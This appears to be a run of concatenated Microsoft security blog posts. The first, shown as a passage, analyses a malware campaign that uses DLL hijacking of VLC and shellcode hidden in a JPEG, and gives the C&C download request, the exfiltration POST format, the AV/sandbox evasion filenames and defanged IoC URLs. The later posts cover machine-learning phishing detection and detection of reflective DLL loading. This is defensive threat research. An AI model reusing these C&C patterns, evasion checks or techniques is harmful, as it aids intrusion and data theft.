The decrypted malicious DLL contains two files embedded in the PE resources section. The first resource file is named 200, which is a legitimate version of VLC media player (Product Version: 2.2.1.0, File Version: 2.2.1). The second file in the resources section is named 400, which is a DLL hijacker that impersonates the legitimate file Libvlc.dll.

When run, the stage 1 malware drops both the VLC media player executable and the malicious Libvlc.dll in %TEMP% folder, and then runs the VLC media player process.

The vulnerable VLC media player process searches for the dropped file Libvlc.dll in the directory from which it was loaded. It subsequently picks up and loads the malicious DLL and executes its malicious function.

Figure 4. Functions exported by the malicious Libvlc.dllFigure 5. Functions imported from Libvlc.dll by the VLC media player process

The most interesting malicious code in Libvlc.dll is in the function libvlc_wait(). The malicious code dynamically resolves the API calls to connect to the attacker C&C server and download a JPEG file. If the C&C server is not reachable, the malware calls the API sleep() for five seconds and attempts to call back the attacker domain again.

Figure 6. C&C callback in malicious function libvlc_wait()

If the JPEG file, logo.jpg, is successfully downloaded, the malicious code in libvlc_wait() skips the first 20 bytes of the JPEG file and creates a thread to execute the embedded payload. The code in JPEG file is encoded using Shikata ga nai, a custom polymorphic shellcode encoder/decoder.

Below an example of HTTP request sent to the C&C to download the malicious file logo.jpg.

GET /assets/vnc/logo.jpg HTTP/1.1
Accept: */*
Host: useraccount.co

HTTP/1.1 200 OK
Date: Mon, 09 Jul 2018 13:45:49 GMT
Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT
ETag: "26e0378-2086b-56965397b5c31"
Accept-Ranges: bytes
Content-Length: 133227
Content-Type: image/jpeg

Figure 7. HTTP GET Request embedded in the JPEG File

The historical Whois record indicated that the C&C server was registered on March 20, 2018.

Domain Name: useraccount.co
Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR
Registrar WHOIS Server:
Registrar URL: whois.publicdomainregistry.com
Updated Date: 2018-03-20T14:04:40Z
Creation Date: 2018-03-20T14:04:40Z
Registry Expiry Date: 2019-03-20T14:04:40Z
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod

Figure 8. Whois record for the attacker C&C server.

The shellcode in the JPEG file uses multiple layers of polymorphic XOR routines to decrypt the final payload. After successfully decrypting the payload, it drops and executes the final DLL malware aflup64.dll in the folder %ProgramData%\Dell64.


Figure 9. The first 29 Bytes of the JPEG file after the header make up the first decryption layer

Figure 10. Valid JPEG file header followed by encrypted malicious code

Stage 2: System reconnaissance and executing attacker commands

The final stage malware maintains persistence using different methods. For example, the malicious function IntRun() can load and execute the malware DLL. It also uses the registry key CurrentVersion\Run to maintain persistence.

The malwares capabilities include:

  • System reconnaissance

    • List computer names, Windows version, Machine ID, running processes, and loaded modules
    • List system files and directories
    • List network configuration

  • Execute attacker commands
  • Evade certain sandboxes or antivirus products

Collected information or responses to commands are sent back to the attacker domain via an HTTP post request. The request has a custom header that always starts with 37 hardcoded alphanumeric characters.

---------------------n9mc4jh3ft7327hfg78kb41b861ft18bhfb91
Content-Disposition: form-data; name="id";
Content-Type: text/plain
<Base64 Data Blob>

Figure 11. Sample of malware POST request

The malware also has a list of hardcoded file names of security products and sandbox solutions. If these files are present in a machine the malware attempts to infect, it exists:

  • avgnt.exe
  • avp.exe
  • egui.exe
  • Sbie.dll
  • VxKernelSvcNT.log

Detecting targeted attacks with Office 365 ATP and Windows Defender ATP

Historically, malware payloads like the stage 2 malware in this attack are used to steal credentials and other sensitive information, install more payloads, or move laterally in the network. However, because the malware opens a backdoor channel for remote attackers to execute arbitrary commands of their choice, theres a wide range of possibilities.

Enterprises can protect themselves from targeted attacks using Office 365 Advanced Threat Protection, which blocks threats based on the detection of malicious behaviors. Office 365 ATP helps secure mailboxes against email attacks by blocking emails with unsafe attachments, malicious links, and linked-to files leveraging sandboxing and time-of-click protection. Recent enhancements in anti-phishing capabilities in Office 365 address impersonation, spoof, phishing content, and internal phishing emails sent from compromised accounts. If you are not already secured against advanced cyberthreat campaigns via email, begin a free Office 365 E5 trial today.

In addition, enterprises can use Windows Defender Advanced Threat Protection, which provides a unified endpoint security platform for intelligent protection, detection, investigation, and response. Exploit protection, attack surface reduction rules, hardware-based isolation, controlled folder access, and network protection reduce the attack surface. Windows Defender Antivirus detects and blocks the malicious documents and files used in this campaign. Windows Defender ATPs endpoint detection and response, automated investigation and remediation, and advanced hunting capabilities empower security operations personnel to detect and stop attacks in enterprise networks. To test how Windows Defender ATP can help your organization detect, investigate, and respond to advanced attacks, sign up for a free Windows Defender ATP trial.

These two services integrate with the rest of Microsofts security technologies as part of the Microsoft Threat Protection, an integrated solution providing security for the modern workplace across identities, endpoints, user data, cloud apps, and infrastructure. Cybersecurity is the central challenge of our digital age, and Microsoft doesnt stop innovating to provide industry-best integrated security. For more information, read the blog post Delivering security innovation that puts Microsofts experience to work for you.

 

 

 

Ahmed Shosha and Abhijeet Hatekar
Microsoft Threat Intelligence Center

 

 

 

Indictors of Compromise (IoCs)

URLs
hxxp://useraccount[.]co/assets/vnc/logo[.]jpg
hxxp://useraccount[.]co/assets/vnc/rest[.]php
hxxp://useraccount[.]co/assets/kvx/success[.]txt
hxxp://useraccount[.]co/assets/pqs/rest[.]php

Files (SHA-256)
013417bd5465d6362cd43c70015c7a74a1b8979785b842b7cfa543cb85985852 (INP File)
9ffb61f1360595fc707053620f3751cb76c83e67835a915ccd3cbff13cf97bed (EXE)
019b8a0d3f9c9c07103f82599294688b927fbbbdec7f55d853106e52cf492c2b (DLL)

The post Attack uses malicious InPage document and outdated VLC media player to give attackers backdoor access to targets appeared first on Microsoft Secure.

Enhancing Office 365 Advanced Threat Protection with detonation-based heuristics and machine learning

Email, coupled with reliable social engineering techniques, continues to be one of the primary entry points for credential phishing, targeted attacks, and commodity malware like ransomware and, increasingly in the last few months, cryptocurrency miners.

Office 365 Advanced Threat Protection (ATP) uses a comprehensive and multi-layered solution to protect mailboxes, files, online storage, and applications against a wide range of threats. Machine learning technologies, powered by expert input from security researchers, automated systems, and threat intelligence, enable us to build and scale defenses that protect customers against threats in real-time.

Modern email attacks combine sophisticated social engineering techniques with malicious links or non-portable executable (PE) attachments like HTML or document files to distribute malware or steal user credentials. Attackers use non-PE file formats because these can be easily modified, obfuscated, and made polymorphic. These file types allow attackers to constantly tweak email campaigns to try slipping past security defenses. Every month, Office 365 ATP blocks more than 500,000 email messages that use malicious HTML and document files that open a website with malicious content.

Figure 1. Typical email attack chain

Detonation-based heuristics and machine learning

Attackers employ several techniques to evade file-based detection of attachments and blocking of malicious URLs. These techniques include multiple redirections, large dynamic and obfuscated scripts, HTML for tag manipulation, and others.

Office 365 ATP protects customers from unknown email threats in real-time by using intelligent systems that inspect attachments and links for malicious content. These automated systems include a robust detonation platform, heuristics, and machine learning models.

Detonation in controlled environments exposes thousands of signals about a file, including behaviors like dropped and downloaded files, registry manipulation for persistence and storing stolen information, outbound network connections, etc. The volume of detonated threats translate to millions of signals that need to be inspected. To scale protection, we employ machine learning technologies to sort through this massive amount of information and determine a verdict for analyzed files.

Machine learning models examine detonation artifacts along with various signals from the following:

  • Static code analysis
  • File structure anomaly
  • Phish brand impersonation
  • Threat intelligence
  • Anomaly-based heuristic detections from security researchers

Figure 2. Classifying unknown threats using detonation, heuristics, and machine learning

Our machine learning models are trained to find malicious content using hundreds of thousands of samples. These models use raw signals as features with small modifications to allow for grouping signals even when they occur in slightly different contexts. To further enhance detection, some models are built using three-gram models that use raw signals sorted by timestamps recorded during detonation. The three-gram models tend to be more sparse than raw signals, but they can act as mini-signatures that can then be scored. These types of models fill in some of the gaps, resulting in better coverage, with little impact to false positives.

Machine learning can capture and expose even uncommon threat behavior by using several technologies and dynamic featurization. Features like image similarity matching, domain reputation, web content extraction, and others enable machine learning to effectively separate malicious or suspicious behavior from the benign.

Figure 3. Machine learning expands on traditional detection capabilities

Over time, as our systems automatically process and make a verdict on millions of threats, these machine learning models will continue to improve. In the succeeding sections, well describe some interesting malware and phishing campaigns detected recently by Office 365 ATP machine learning models.

Phishing campaigns: Online banking credentials

One of the most common types of phishing attacks use HTML and document files to steal online banking credentials. Gaining access to online bank accounts is one of the easiest ways that attackers can profit from illicit activities.

The email messages typically mimic official correspondence from banks. Phishers have become very good at crafting phishing emails. They can target global banks but also localize email content for local banks.
The HTML or document attachment are designed to look like legitimate sign-in pages or forms. Online banking credentials and other sensitive information entered into these files or websites are sent to attackers. Office 365s machine learning models detect this behavior, among other signals, to determine that such attachments are malicious and block offending email messages.

Figure 4. Sample HTML files that mimic online banking sign in pages. (Click to enlarge)

Phishing campaigns: Cloud storage accounts

Another popular example of phishing campaigns uses HTML or document attachments to steal cloud storage or email account details. The email messages imply that the recipient has received a document hosted in a cloud storage service. In order to supposedly open the said document, the recipient has to enter the cloud storage or email user name and password.

This type of phishing is very rampant because gaining access to either email or cloud storage opens a lot of opportunities for attackers to access sensitive documents or compromise the victims other accounts.

Figure 5. Sample HTML files that pose as cloud storage sign in pages. (Click to enlarge)

Tax-themed phishing and malware attacks

Tax-themed social engineering attacks circulate year-round as cybercriminals take advantage of the different country and region tax schedules. These campaigns use various messages related to tax filing to convincer users to click a link or open an attachment. The social engineering messages may say the recipient is eligible for tax refund, confirm that tax payment has been completed, or declare that payments are overdue, among others.

For example, one campaign intercepted by Office 365 ATP using machine learning implied that the recipient has not completed tax filing and is due for penalty. The campaign targeted taxpayers in Colombia, where tax filing ended in October. The email message aimed to alarm taxpayers by suggesting that they have not filed their taxes.

Figure 6. Tax-themed email campaign targeting taxpayers in Colombia. The subject line translates to: You have been fined for not filing your income tax returns

The attachment is a .rar file containing an HTML file. The HTML file contains the logo of Direccin de Impuestos y Aduanas Nacionales (DIAN), the Colombianes tax and customs organization, and a link to download a file.

Figure 7. Social engineering document with a malicious link

The link points to a shortened URL hxxps://bit[.]ly/2IuYkcv that redirects to hxxp://dianmuiscaingreso[.]com/css/sanci%C3%B3n%20declaracion%20de%20renta.doc, which downloads a malicious document.

Figure 8: Malicious URL information

The malicious document carries a downloader macro code. When opened, Microsoft Word issues a security warning. In the document are instructions to Enable content, which executes the embedded malicious VBA code.

Figure 9: Malicious document with malicious macro code

If the victim falls for this social engineering attack, the macro code downloads and executes a file from hxxp://dianmuiscaingreso.com/css/w.jpg. The downloaded executable file (despite the file name) is a file injector and password-stealing malware detected by Windows Defender AV as Trojan:Win32/Tiggre!rfn.

Because Office 365 ATP machine learning detects the malicious attachment and blocks the email, the rest of the attack chain is stopped, protecting customers at the onset.

Artificial intelligence in Office 365 ATP

As threats rapidly evolve and become increasingly complex, we continuously invest in expanding capabilities in Office 365 Advanced Threat Protection to secure mailboxes from attacks. Using artificial intelligence and machine learning, Office 365 ATP can constantly scale coverage for unknown and emerging threats in-real time.

Office 365 ATPs machine learning models leverage Microsofts wide network of threat intelligence, as well as seasoned threat experts who have deep understanding of malware, cyberattacks, and attacker motivation, to combat a wide range of attacks.

This enhanced protection from Office 365 ATP contributes to and enriches the integrated Microsoft 365 threat protection, which provides intelligent, integrated, and secure solution for the modern workplace. Microsoft 365 combines the benefits and security technologies of Office 365, Windows, and Enterprise Mobility Suite (EMS) platforms.

Office 365 ATP also shares threat signals to the Microsoft Intelligent Security Graph, which uses advanced analytics to link threat intelligence and security signals across Office 365, the Windows Defender ATP stack of defenses, and other sensors. For example, when a malicious file is detected by Office 365 ATP, that threat can also be blocked on endpoints protected by Windows Defender ATP and vice versa. Connecting security data and systems allows Microsoft security technologies like Office 365 ATP to continuously improve threat protection, detection, and response.

 

 

Office 365 Threat Research

Detecting reflective DLL loading with Windows Defender ATP

November 13th, 2017 No comments

Today’s attacks put emphasis on leaving little, if any, forensic evidence to maintain stealth and achieve persistence. Attackers use methods that allow exploits to stay resident within an exploited process or migrate to a long-lived process without ever creating or relying on a file on disk. In recent blogs we described how attackers use basic cross-process migration or advanced techniques like atom bombing and process hollowing to avoid detection.

Reflective Dynamic-Link Library (DLL) loading, which can load a DLL into a process memory without using the Windows loader, is another method used by attackers.

In-memory DLL loading was first described in 2004 by Skape and JT, who illustrated how one can patch the Windows loader to load DLLs from memory instead of from disk. In 2008, Stephen Fewer of Harmony Security introduced the reflective DLL loading process that loads a DLL into a process without being registered with the process. Modern attacks now use this technique to avoid detection.

Reflective DLL loading isnt trivialit requires writing the DLL into memory and then resolving its imports and/or relocating it. To reflectively load DLLs, one needs to author ones own custom loader.

However, attackers are still motivated to not use the Windows loader, as most legitimate applications would, for two reasons:

  1. Unlike when using the Windows loader (which is invoked by calling the LoadLibrary function), reflectively loading a DLL doesnt require the DLL to reside on disk. As such, an attacker can exploit a process, map the DLL into memory, and then reflectively load DLL without first saving on the disk.
  2. Because its not saved on the disk, a library that is loaded this way may not be readily visible without forensic analysis (e.g., inspecting whether executable memory has content resembling executable code).

Instrumentation and detection

A crucial aspect of reflectively loading a DLL is to have executable memory available for the DLL code. This can be accomplished by taking existing memory and changing its protection flags or by allocating new executable memory. Memory procured for DLL code is the primary signal we use to identify reflective DLL loading.

In Windows 10 Creators Update, we instrumented function calls related to procuring executable memory, namely VirtualAlloc and VirtualProtect, which generate signals for Windows Defender Advanced Threat Protection (Windows Defender ATP). Based on this instrumentation, weve built a model that detects reflective DLL loading in a broad range of high-risk processes, for example, browsers and productivity software.

The model takes a two-pronged approach, as illustrated in Figure 1:

  1. First, the model learns about the normal allocations of a process. As a simplified example, we observe that a process like Winword.exe allocates page-aligned executable memory of size 4,000 and particular execution characteristics. Only a select few threads within the Winword process allocate memory in this way.
  2. Second, we find that a process associated with malicious activity (e.g., executing a malicious macro or exploit) allocates executable memory that deviates from the normal behavior.

Figure 1. Memory allocations observed by a process running normally vs. allocations observed during malicious activity

This model shows that we can use memory events as the primary signal for detecting reflective DLL loading. In our real model, we incorporate a broad set of other features, such as allocation size, allocation history, thread information, allocation flags, etc. We also consider the fact that application behavior varies greatly because of other factors like plugins, so we add other behavioral signals like network connection behavior to increase the effectiveness of our detection.

Detecting reflective DLL Loading

Lets show how Windows Defender ATP can detect reflective DLL loading used with a common technique in modern threats: social engineering. In this attack, the target victim opens a Microsoft Word document from a file share. The victim is tricked into running a macro like the code shown in Figure 2. (Note: A variety of mechanisms allow customers to mitigate this kind attack at the onset; in addition, several upcoming Office security features further protect from this attack.)

Figure 2. Malicious macro

When the macro code runs, the Microsoft Word process reaches out to the command-and-control (C&C) server specified by the attacker, and receives the content of the DLL to be reflectively loaded. Once the DLL is reflectively loaded, it connects to the C&C and provides command line access to the victim machine.

Note that the DLL is not part of the original document and does not ever touch the disk. Other than the initial document with the small macro snippet, the rest of the attack happens in memory. Memory forensics reveals that there are several larger RWX sections mapped into the Microsoft Word process without a corresponding DLL, as shown in Figure 3. These are the memory sections where the reflectively loaded DLL resides.

Figure 3. Large RWX memory sections in Microsoft Word process upon opening malicious document and executing malicious macro

Windows Defender ATP identifies the memory allocations as abnormal and raises an alert, as shown in Figure 4. As you can see (Figure 4), Windows Defender ATP provides context on the document, along with information on command-and-control communication, which can allow security operations personnel to assess the scope of the attack and start containing the breach.

Figure 4. Example alert on WDATP

Microsoft Office 365 Advanced Threat Protection protects customers against similar attacks dynamic behavior matching. In attacks like this, SecOps personnel would see an Office 365 ATP behavioral detection like that shown in Figure 5 in Office 365s Threat Explorer page.

Figure 5. Example Office 365 ATP detection

Conclusion: Windows Defender ATP uncovers in-memory attacks

Windows 10 continues to strengthen defense capabilities against the full range of modern attacks. In this blog post, we illustrated how Windows Defender ATP detects the reflective DLL loading technique. Security operations personnel can use the alerts in Windows Defender ATP to quickly identify and respond to attacks in corporate networks.

Windows Defender Advanced ATP is a post-breach solution that alerts SecOps personnel about hostile activity. Windows Defender ATP uses rich security data, advanced behavioral analytics, and machine learning to detect the invariant techniques used in attacks. Enhanced instrumentation and detection capabilities in Windows Defender ATP can better expose covert attacks.

Windows Defender ATP also provides detailed event timelines and other contextual information that SecOps teams can use to understand attacks and quickly respond. The improved functionality in Windows Defender ATP enables them to isolate the victim machine and protect the rest of the network.

For more information about Windows Defender ATP, check out its features and capabilities and read about why a post-breach detection approach is a key component of any enterprise security strategy. Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

 

Christian Seifert

Windows Defender ATP Research

 


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